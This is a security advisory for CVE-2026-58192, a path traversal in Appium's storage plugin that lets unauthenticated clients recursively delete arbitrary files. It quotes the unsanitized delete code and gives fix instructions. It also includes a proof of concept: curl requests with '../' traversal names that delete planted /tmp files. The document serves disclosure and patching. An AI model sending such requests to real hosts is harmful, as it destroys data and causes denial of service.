CVE-2026-58192: appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin

High CVSS 8.6

OSV id
GHSA-jwgx-mp9m-jwcr
Also known as
CVE-2026-58192
Published
Last modified

Affected packages

PackageAffected versionsFixed in
@appium/storage-plugin
npm
< 1.1.6 1.1.6

How to fix it

Upgrade @appium/storage-plugin to 1.1.6 or later.

npm install @appium/storage-plugin@1.1.6
# if it is an indirect dependency: npm update @appium/storage-plugin (or npm audit fix)
  • If it is an indirect dependency, upgrade the package that depends on it, or force the version with "overrides" (npm), "resolutions" (Yarn) or "pnpm.overrides" (pnpm) in package.json.
  • Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.

Not sure whether your project uses an affected version? Check your lockfile below for free.

Details

Summary

The Appium storage plugin exposes an HTTP endpoint POST /storage/delete that takes a user-supplied name and deletes it from the server storage folder. The handler passes name straight into path.join(storageRoot, name) and then fs.rimraf() without any path sanitization. By sending a name containing ../ sequences, an unauthenticated remote client can escape the storage root and recursively delete arbitrary files and directories that the Appium process user can write, anywhere on the host filesystem.

The same plugin's upload path validates the name via fs.sanitizeName (requireValidItemOptions), but the delete path does not an asymmetry that makes the missing validation unambiguous.

Details

Published build (node_modules/@appium/storage-plugin/build/lib/storage.js), and source (packages/storage-plugin/lib/):

  • packages/storage-plugin/lib/storage.ts:65-75 — Storage.delete():

    async delete(name: string): Promise<boolean> {
      if (name.toLowerCase().endsWith(TMP_EXT)) {
        return false;
      }
      const destinationPath = path.join(this._root, name);   // <-- no sanitization
      if (!(await fs.exists(destinationPath))) {
        return false;
      }
      await fs.rimraf(destinationPath);                       // <-- recursive delete
      return true;
    }
    
  • packages/storage-plugin/lib/plugin.ts:77-83 — handler passes raw body:

    STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) {
      return await executeStorageMethod(
        async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name),
      );
    };
    

parseRequestArgs (plugin.ts:94-106) only checks that the key exists; it does not validate the value.

  • Contrast — the upload path does sanitize: storage.ts:53-54 add() → requireValidItemOptions() (storage.ts:236-256) rejects any name that differs from fs.sanitizeName(name). delete() skips this entirely.
PoC
  1. Install and start the server with the storage plugin:
    npm install appium@3.5.0
    ./nodemodules/.bin/appium plugin install --source=npm @appium/storage-plugin
    ./nodemodules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723
    

(Default --address is 0.0.0.0; 127.0.0.1 used here for a contained test.)

  1. Plant a victim file/dir outside the storage root, then delete via traversal:

    mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt
    echo single > /tmp/pv_file.txt
    
    curl -s -X POST http://127.0.0.1:4723/storage/delete \
      -H 'Content-Type: application/json' \
      -d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}'
    # -> {"value":true}
    
    curl -s -X POST http://127.0.0.1:4723/storage/delete \
      -H 'Content-Type: application/json' \
      -d '{"name":"../../../../../../../../../../tmp/pv_dir"}'
    # -> {"value":true}
    

<img width="2182" height="678" alt="image" src="https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25" />

Impact

An unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.

References

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About this data

Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.